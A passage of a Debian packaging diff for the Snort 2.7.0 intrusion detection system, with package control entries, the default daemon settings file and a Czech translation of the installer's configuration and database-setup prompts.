+Priority: extra
+Pre-Depends: adduser (>= 3.11)
+Depends: snort-common-libraries (>=${binary:Version}), snort-rules-default (>= ${source:Version}), debconf (>= 0.2.80) | debconf-2.0, syslogd | system-log-daemon, ${shlibs:Depends}, snort-common (>= ${source:Version}), logrotate
+Recommends: iproute
+Suggests: snort-doc
+Conflicts: snort, snort-pgsql
+Homepage: http://www.snort.org/
+Description: flexible Network Intrusion Detection System [MySQL]
+ Distribution of Snort with support for logging to a MySQL database.
+ .
+ Snort is a libpcap-based packet sniffer/logger which can be used as a
+ lightweight network intrusion detection system. It features rules
+ based logging and can perform content searching/matching in addition
+ to being used to detect a variety of other attacks and probes, such
+ as buffer overflows, stealth port scans, CGI attacks, SMB probes, and
+ much more. Snort has a real-time alerting capability, with alerts being
+ sent to syslog, a separate "alert" file, or even to a Windows computer
+ via Samba.
+
+Package: snort-pgsql
+Provides: snort
+Architecture: any
+Priority: optional
+Depends: snort-common-libraries (>=${binary:Version}), snort-rules-default (>= ${source:Version}), debconf (>= 0.2.80) | debconf-2.0, adduser (>= 3.11), syslogd | system-log-daemon, ${shlibs:Depends}, snort-common (>= ${source:Version}), logrotate
+Recommends: iproute
+Suggests: snort-doc
+Conflicts: snort, snort-mysql
+Description: flexible Network Intrusion Detection System [PostgreSQL]
+ Distribution of Snort with support for logging to a PostgreSQL dbase.
+ .
+ Snort is a libpcap-based packet sniffer/logger which can be used as a
+ lightweight network intrusion detection system. It features rules
+ based logging and can perform content searching/matching in addition
+ to being used to detect a variety of other attacks and probes, such
+ as buffer overflows, stealth port scans, CGI attacks, SMB probes, and
+ much more. Snort has a real-time alerting capability, with alerts being
+ sent to syslog, a separate "alert" file, or even to a Windows computer
+ via Samba.
+
+Package: snort-rules-default
+Provides: snort-rules
+Architecture: all
+Depends: debconf (>= 0.2.80) | debconf-2.0, adduser (>= 3.11), syslogd | system-log-daemon, ${shlibs:Depends}
+Suggests: snort (>= 2.2.0) | snort-pgsql (>= 2.2.0) | snort-mysql (>= 2.2.0)
+Recommends: oinkmaster
+Homepage: http://www.snort.org/rules/
+Description: flexible Network Intrusion Detection System ruleset
+ Snort default ruleset which provides a common set of accepted and test
+ network intrusion detection rules developed by the Snort community.
+ .
+ These rules can be used as a basis for development of additional rules.
+
+Package: snort-common-libraries
+Architecture: any
+Depends: ${shlibs:Depends}
+Suggests: snort (>= 2.7.0) | snort-pgsql (>= 2.7.0) | snort-mysql (>= 2.7.0)
+Conflicts: snort-common (<< 2.7.0-6)
+Description: flexible Network Intrusion Detection System ruleset
+ Snort is a libpcap-based packet sniffer/logger which can be used as a
+ lightweight network intrusion detection system. It features rules
+ based logging and can perform content searching/matching in addition
+ to being used to detect a variety of other attacks and probes, such
+ as buffer overflows, stealth port scans, CGI attacks, SMB probes, and
+ much more. Snort has a real-time alerting capability, with alerts being
+ sent to syslog, a separate "alert" file, or even to a Windows computer
+ via Samba.
+ .
+ This package provides libraries used by all the Snort binary packages.
+
--- snort-2.7.0.orig/debian/snort.default
+++ snort-2.7.0/debian/snort.default
@@ -0,0 +1,34 @@
+# Parameters for the daemon
+# Add any additional parameteres here.
+PARAMS="-m 027 -D -d "
+#
+# Snort user
+# This user will be used to launch snort. Notice that the 
+# preinst script of the package might do changes to the user 
+# (home directory, User Name) when the package is upgraded or
+# reinstalled.  So, do *not* change this to 'root' or to any other user 
+# unless you are sure there is no problem with those changes being introduced.
+# 
+SNORTUSER="snort"
+#
+# Logging directory
+# Snort logs will be dropped here and this will be the home
+# directory for the SNORTUSER. If you change this value you should
+# change the /etc/logrotate.d/snort definition too, otherwise logs
+# will not be rotated properly.
+#
+LOGDIR="/var/log/snort"
+#
+# Snort group
+# This is the group that the snort user will be added to.
+#
+SNORTGROUP="snort"
+# 
+# Allow Snort's init.d script to work if the configured interfaces
+# are not available. Set this to yes if you configure Snort with
+# multiple interfaces but some might not be available on boot
+# (e.g. wireless interfaces)
+# 
+# Note: In order for this to work the 'iproute' package needs to 
+# be installed.
+ALLOW_UNAVAILABLE="no"
--- snort-2.7.0.orig/debian/snort-common.manpages
+++ snort-2.7.0/debian/snort-common.manpages
@@ -0,0 +1 @@
+debian/snort-stat.8
--- snort-2.7.0.orig/debian/po/cs.po
+++ snort-2.7.0/debian/po/cs.po
@@ -0,0 +1,814 @@
+#
+#    Translators, if you are not familiar with the PO format, gettext
+#    documentation is worth reading, especially sections dedicated to
+#    this format, e.g. by running:
+#         info -n '(gettext)PO Files'
+#         info -n '(gettext)Header Entry'
+#
+#    Some information specific to po-debconf are available at
+#            /usr/share/doc/po-debconf/README-trans
+#         or http://www.debian.org/intl/l10n/po-debconf/README-trans
+#
+#    Developers do not need to manually edit POT or PO files.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: snort\n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-05-01 21:28+0200\n"
+"PO-Revision-Date: 2008-04-28 12:13+0200\n"
+"Last-Translator: Jan Outrata <outrata@pharaoh.inf.upol.cz>\n"
+"Language-Team: Czech <debian-l10n-czech@lists.debian.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "boot"
+msgstr "boot"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr "dialup"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr "manuálně"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr "Způsob spuštění Snortu:"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid ""
+"Snort can be started during boot, when connecting to the net with pppd or "
+"only manually with the /usr/sbin/snort command."
+msgstr ""
+"Snort může být spuštěn během startu systému (boot), při připojování k síti "
+"pomocí pppd (dialup) nebo jen když jej spustíte ručně přes /usr/sbin/snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "Interface(s) which Snort should listen on:"
+msgstr "Rozhraní, na kterém (kterých) má Snort naslouchat:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"This value is usually 'eth0', but this may be inappropriate in some network "
+"environments; for a dialup connection 'ppp0' might be more appropiate (see "
+"the output of '/sbin/ifconfig')."
+msgstr ""
+"Tato hodnota obyčejně bývá 'eth0', ale to nemusí být v některých síťových "
+"prostředích vhodné; pro vytáčené připojení může být vhodnější 'ppp0' (viz "
+"výstup '/sbin/ifconfig')."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"Typically, this is the same interface as the 'default route' is on. You can "
+"determine which interface is used for this by running '/sbin/route -n' (look "
+"for '0.0.0.0')."
+msgstr ""
+"Typicky je to stejné rozhraní jako je 'výchozí směrování (default route)'. "
+"Které rozhraní se pro toto používá, můžete zjistit spuštěním '/sbin/route -"
+"n' (hledejte '0.0.0.0')."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"It is also not uncommon to use an interface with no IP address configured in "
+"promiscuous mode. For such cases, select the interface in this system that "
+"is physically connected to the network that should be inspected, enable "
+"promiscuous mode later on and make sure that the network traffic is sent to "
+"this interface (either connected to a 'port mirroring/spanning' port in a "
+"switch, to a hub or to a tap)."
+msgstr ""
+"Také není neobvyklé použít rozhraní bez IP adresy nastavené do "
+"promiskuitního módu. V tomto případě vyberte rozhraní systému fyzicky "
+"připojené k síti a které chcete sledovat, následně povolte promiskuitní mód "
+"a ujistěte se, že je síťový provoz posílán na toto rozhraní (buď připojené k "
+"'port mirroring/spanning' portu přepínače, k hubu nebo k tap rozhraní)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"You can configure multiple interfaces, just by adding more than one "
+"interface name separated by spaces. Each interface can have its own specific "
+"configuration."
+msgstr ""
+"Můžete také zadat více rozhraní, jednoduše zapsáním více než jednoho jména "
+"rozhraní, oddělených mezerami. Každé rozhraní může mít své specifické "
+"nastavení."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid "Address range for the local network:"
+msgstr "Adresní rozsah lokální sítě:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 "
+"addresses or 192.168.1.42/32 for just one. Multiple values should be comma-"
+"separated (without spaces)."
+msgstr ""
+"Použijte zápis CIDR - například 192.168.1.0/24 pro blok 256 adres nebo "
+"192.168.1.42/32 pro jednu jedinou adresu. Více adres zadejte oddělených "
+"čárkou (bez mezer)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please note that if Snort is configured to use multiple interfaces, it will "
+"use this value as the HOME_NET definition for all of them."
+msgstr ""
+"Pokud je Snort nakonfigurován pro použití více rozhraní, použije tuto "
+"hodnotu jako definici HOME_NET pro všechna z nich."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr "Má Snort zakázat promiskuitní mód na tomto rozhraní?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid ""
+"Disabling promiscuous mode means that Snort will only see packets addressed "
+"to the interface it is monitoring. Enabling it allows Snort to check every "
+"packet that passes the Ethernet segment even if it's a connection between "
+"two other computers."
+msgstr ""
+"Zakázání promiskuitního módu znamená, že Snort uvidí jen pakety adresované "
+"rozhraní, které monitoruje. Povolení umožňuje Snortu kontrolovat každý "
+"paket, který prochází ethernetovým segmentem, i když je to spojení mezi "
+"jinými dvěma počítači."
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr "Neplatné rozhraní"
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid ""
+"Snort is trying to use an interface which does not exist or is down. Either "
+"it is defaulting inappropriately to 'eth0', or you specified one which is "
+"invalid."
+msgstr ""
+"Snort se pokouší použít rozhraní, které neexistuje nebo je vypnuté. Buď se "
+"jedná o výchozí nastavení na 'eth0', nebo bylo zadáno neplatné rozhraní."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr "Má být pořadí testovaní Snortu změněno na Pass|Alert|Log?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid ""
+"Snort's default testing order is Alert|Pass|Log; if you accept this option, "
+"the order will be changed to Pass|Alert|Log, which can make it simpler to "
+"use Snort with some packet-filtering tools."
+msgstr ""
+"Výchozí pořadí testování Snortu je Alert|Pass|Log; pokud tuto volbu "
+"odsouhlasíte, bude pořadí změněno na Pass|Alert|Log, což může usnadnit "
+"použití Snortu s některými nástroji filtrace paketů."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr "Mají se denní souhrny zasílat e-mailem?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid ""
+"A cron job can be set up to send daily summaries of Snort logs to a selected "
+"e-mail address."
+msgstr ""
+"Pro zasílání denních souhrnů logů Snortu na zvolenou e-mailovou adresu může "
+"být nastavena úloha cronu."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr "Zvolte, zda chcete aktivovat tuto možnost."
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid "Recipient of daily statistics mails:"
+msgstr "Příjemce denních mailů se statistikami:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid ""
+"Please specify the e-mail address that should receive daily summaries of "
+"Snort logs."
+msgstr ""
+"Zadejte e-mailovou adresu, na kterou mají být zasílány denní souhrny logů "
+"Snortu."
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr "Další vlastní volby:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr "Zadejte jakékoliv další volby, které by měl Snort použít."
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr "Minimální počet výskytů před hlášením upozornění:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid ""
+"Please enter the minimum number of alert occurrences before a given alert is "
+"included in the daily statistics."
+msgstr ""
+"Zadejte minimální počet výskytů upozornění před tím, než je toto upozornění "
+"obsaženo v denní statistice."
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "Snort restart required"
+msgstr "Vyžadován restart Snortu"
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid ""
+"As Snort is manually launched, you need to run '/etc/init.d/snort' for the "
+"changes to take place."
+msgstr ""
+"Jelikož je Snort spouštěn ručně, pro uplatnění změn musíte spustit '/etc/"
+"init.d/snort'."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "Configuration error"
+msgstr "Chyba konfigurace"
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"The current Snort configuration is invalid and will prevent Snort starting "
+"up normally. Please review and correct it."
+msgstr ""
+"Aktuální konfigurace Snortu je neplatná a Snort nebude možné normálně "
+"spustit. Zkontrolujte a opravte ji."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -"
+"c <file>'."
+msgstr ""
+"Pro diagnostikování chyby v konfiguračním souboru Snortu použijte '/usr/sbin/"
+"snort -T -c <file>'."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "Obsolete configuration file"
+msgstr "Zastaralý konfigurační soubor"
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"This system uses an obsolete configuration file (/etc/snort/snort.common."
+"parameters) which has been automatically converted into the new "
+"configuration file format (at /etc/default/snort)."
+msgstr ""
+"Tento systém používá zastaralý konfigurační soubor (/etc/snort/snort.common."
+"parameters), který byl automaticky převeden do nového formátu konfiguračního "
+"souboru (v /etc/default/snort)."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"Please review the new configuration and remove the obsolete one. Until you "
+"do this, the initialization script will not use the new configuration and "
+"you will not take advantage of the benefits introduced in newer releases."
+msgstr ""
+"Zkontrolujte novou konfiguraci a odstraňte tu zastaralou. Dokud to "
+"neuděláte, inicializační skript nebude používat novou konfiguraci a "
+"nevyužijete tak výhod představených v novějších verzích."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid "Set up a database for snort-mysql to log to?"
+msgstr "Nastavit databázi, do které má snort-mysql logovat?"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"No database has been set up for Snort to log to. Before continuing, you "
+"should make sure you have:"
+msgstr ""
+"Nebyla nastavena žádná databáze, do které má Snort logovat. Před "
+"pokračováním byste se měli ujistit, že máte:"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+" - jméno serveru (který musí přijímat TCP spojení z tohoto stroje);\n"
+" - databázi na tomto serveru;\n"
+" - přihlašovací jméno a heslo pro přístup k databázi."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"If some of these requirements are missing, reject this option and run with "
+"regular file logging support."
+msgstr ""
+"Pokud nekteré z těchto požadavků chybí, zamítněte tuto volbu a používejte "
+"běžnou podporu logování do souboru."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-mysql'."
+msgstr ""
+"Logování do databáze může být později nastaveno spuštěním 'dpkg-reconfigure -"
+"plow snort-mysql'."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr "Jméno databázového serveru:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid ""
+"Please specify the host name of a database server that allows incoming "
+"connections from this host."
+msgstr ""
+"Zadejte hostitelské jméno databázového serveru, který přijímá příchozí "
+"spojení z tohoto počítače."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr "Jméno databáze:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid ""
+"Please specify the name of an existing database to which the database user "
+"has write access."
+msgstr ""
+"Zadejte jméno existující databáze, ke které má databázový uživatel přístup "
+"pro zápis."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr "Uživatelské jméno pro přístup k databázi:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid ""
+"Please specify a database server username with write access to the database."
+msgstr ""
+"Zadejte uživatelské jméno databázového serveru s přístupem pro zápis k "
+"databázi."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid "Password for the database connection:"
+msgstr "Heslo pro připojení k databázi:"
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid ""
+"Please enter the password to use to connect to the Snort Alert database."
+msgstr "Zadejte heslo pro připojení k Snort Alert databázi."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr "Nutná nastavená databáze pro Snort"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"Snort needs a configured database before it can successfully start up. In "
+"order to create the structure you need to run the following commands AFTER "
+"the package is installed:"
+msgstr ""
+"Pro úspěšný start potřebuje Snort nastavenou databázi. Pro vytvoření "
+"struktury databáze musíte PO INSTALACI balíku spustit následující příkazy:"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <uživatel> -h <počítač> -p <databáze>"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. MySQL "
+"will prompt you for the password."
+msgstr ""
+"Doplňte korektní hodnoty jmen uživatele, počítače a počítače. MySQL se vás "
+"zeptá na heslo."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"After you have created the database structure, you will need to start Snort "
+"manually."
+msgstr "Po vytvoření struktury databáze budete muset Snort spustit ručně."
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr "Nastavit databázi, do které má snort-pgsql logovat?"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+msgstr ""
+"Logování do databáze může být později nastaveno spuštěním 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <uživatel> -h <počítač> -W <databáze>"
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. "
+"PostgreSQL will prompt you for the password."
+msgstr ""
+"Doplňte korektní hodnoty jmen uživatele, počítače a počítače. PostgreSQL se "
+"vás zeptá na heslo."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "Deprecated configuration file"
+msgstr "Zrušený konfigurační soubor"
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The Snort configuration file (/etc/snort/snort.conf) uses deprecated options "
+"no longer available for this Snort release. Snort will not be able to start "
+"unless you provide a correct configuration file. Either allow the "
+"configuration file to be replaced with the one provided in this package or "
+"fix it manually by removing deprecated options."
+msgstr ""
+"Konfigurační soubor Snortu (/etc/snort/snort.conf) používá zrušené volby, "
+"které již nejsou v tomto vydání Snortu dostupné. Snort se nebude moci "
+"spustit, dokud neposkytnete korektní konfigurační soubor. Můžete povolit "
+"nahrazení konfiguračního souboru souborem obsaženým v tomto balíku nebo to "
+"opravit ručně odstraněním zrušených voleb."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The following deprecated options were found in the configuration file: "
+"${DEP_CONFIG}"
+msgstr ""
+"V konfiguračním souboru byly nalezeny následující zrušené volby: "
+"${DEP_CONFIG}"
+
+#~ msgid "You are running Snort manually"
+#~ msgstr "Spouštíte Snort ručně"
+
+#~ msgid "There is an error in your configuration"
+#~ msgstr "Ve vaší konfiguraci je chyba"
+
+#~ msgid "Your configuration file is deprecated"
+#~ msgstr "Váš konfigurační soubor obsahuje zrušené volby."
+
+#~ msgid "boot, dialup, manual"
+#~ msgstr "boot, dialup, ručně"
+
+#~ msgid "When should Snort be started?"
+#~ msgstr "Kdy má být Snort spouštěn?"
+
+#~ msgid ""
+#~ "If you want you can specify 'any', to not trust any side of the network."
+#~ msgstr ""
+#~ "Jestli chcete, můžete zadat 'any', pokud nedůvěřujete žádné straně sítě."
+
+#~ msgid ""
+#~ "One of the interfaces you specified is not valid (it might not exist on "
+#~ "the system or be down). Please introduce a valid interface when answering "
+#~ "the question of which interface(s) should Snort listen on."
+#~ msgstr ""
+#~ "Jedno ze zadaných rozhraní není platné (nemusí na tomto systému "
+#~ "existovat, nebo může být shozené). Na otázku, na kterých rozhraních má "
+#~ "Snort naslouchat, prosím zadávejte pouze platná rozhraní."
+
+#~ msgid ""
+#~ "If you did not configure an interface then the package is trying to use "
+#~ "the default ('eth0') which does not seem to be valid in your system."
+#~ msgstr ""
+#~ "Pokud jste nezadali žádné rozhraní, balík se pokouší použít výchozí "
+#~ "'eth0', které na tomto systému nejspíš neexistuje."
+
+#~ msgid ""
+#~ "If you change Snort's rules testing order to Pass|Alert|Log, they will be "
+#~ "applied in Pass->Alert->Log order, instead of standard Alert->Pass->Log. "
+#~ "This will prevent people from having to make huge Berky Packet Filter "
+#~ "command line arguments to filter their alert rules."
+#~ msgstr ""
+#~ "Jestliže změníte pořadí testovacích pravidel Snortu na Pass|Alert|Log "
+#~ "(Propustit|Upozornit|Logovat), budou aplikována v pořadí Pass->Alert-"
+#~ ">Log, místo standardního Alert->Pass->Log. Tím předejdete nutnosti "
+#~ "vytvářet rozsáhlé parametry příkazového řádku Berkeley Packet Filtru pro "
+#~ "filtrování upozorňovacích pravidel."
+
+#~ msgid ""
+#~ "This Snort installation provides a cron job that runs daily and "
+#~ "summarises the information of Snort logs to a selected email address. If "
+#~ "you want to disable this feature say 'no' here."
+#~ msgstr ""
+#~ "Tato instalace Snortu obsahuje cronovou úlohu, která se spouští každý den "
+#~ "a zasílá souhrn informací z logů Snortu na zadanou emailovou adresu. "
+#~ "Chcete-li tuto vlastnost zakázat, odpovězte zde záporně."
+
+#~ msgid ""
+#~ "A cron job running daily will summarise the information of the logs "
+#~ "generated by Snort using a script called 'snort-stat'. Introduce here the "
+#~ "recipient of these mails. The default value is the system administrator. "
+#~ "If you keep this value, make sure that the mail of the administrator is "
+#~ "redirected to a user that actually reads those mails."
+#~ msgstr ""
+#~ "Úloha pro cron spouštěná denně shrnuje pomocí skriptu 'snort-stat' "
+#~ "informace z logů generovaných Snortem. Uveďte zde příjemce těchto mailů. "
+#~ "Výchozí hodnota je administrátor systému. Pokud tuto hodnotu zachováte, "
+#~ "ujistěte se, že pošta pro administrátora je přesměrována uživateli, který "
+#~ "ve skutečnosti čte tyto maily."
+
+#, fuzzy
+#~| msgid ""
+#~| "If you want to specify custom options to Snort, please specify them here."
+#~ msgid ""
+#~ "If you want to specify custom options to Snort, please specify them here."
+#~ msgstr "Pokud chcete zadat vlastní parametry Snortu, zadejte je zde."
+
+#~ msgid ""
+#~ "Please restart Snort using:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "to let the settings take effect."
+#~ msgstr ""
+#~ "Restartujte Snort pomocí:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "aby nastavení nabyla platnosti."
+
+#~ msgid ""
+#~ "Your Snort configuration is not correct and Snort will not be able to "
+#~ "start up normally. Please review your configuration and fix it. If you do "
+#~ "not do this, Snort package upgrades will probably break. To check which "
+#~ "error is being generated run '/usr/sbin/snort -T -c /etc/snort/snort."
+#~ "conf' (or point to an alternate configuration file if you are using "
+#~ "different files for different interfaces)"
+#~ msgstr ""
+#~ "Vaše konfigurace Snortu není správná a proto se nebude moci normálně "
+#~ "spustit. Zkontrolujte konfiguraci a opravte to. Pokud to neuděláte, "
+#~ "aktualizace balíku Snortu pravděpodobně skončí s chybou. Pro zjištění, "
+#~ "jaká chyba je generována, spusťte '/usr/sbin/snort -T -c /etc/snort/snort."
+#~ "conf' (nebo zadejte jiný konfigurační soubor, jestliže používáte různé "
+#~ "soubory pro různá rozhraní)"
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-mysql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "mysql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-mysql "
+#~ "package with 'dpkg-reconfigure -plow snort-mysql'"
+#~ msgstr ""
+#~ "Toto je potřeba udělat jen při první instalaci snort-mysql. Než budete "
+#~ "pokračovat, ujistěte se, že máte (1) jméno počítače, na kterém běží mysql "
+#~ "server, nastaveno pro povolení tcp spojení z tohoto počítače, (2) "
+#~ "databázi na tom serveru, (3) uživatelské jméno a heslo pro přístup do "
+#~ "databáze. Pokud nemáte tohle _všechno_, zvolte 'ne' a spokojte se s "
+#~ "podporou logování do normálního souboru, nebo to nejdřív napravte. "
+#~ "Vždycky můžete nastavit logování do databáze později rekonfigurováním "
+#~ "balíku snort-mysql pomocí 'dpkg-reconfigure -plow snort-mysql'"
+
+#~ msgid "Make sure this user has been created and has write access."
+#~ msgstr "Ujistěte se, že byl tento uživatel vytvořen a že má právo zápisu."
+
+#, fuzzy
+#~| msgid "Snort needs a configured database to log to before it starts."
+#~ msgid "Snort needs a configured database to log to before it starts"
+#~ msgstr "Snort potřebuje nastavit databázi, ke které se má přihlásit."
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-pgsql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
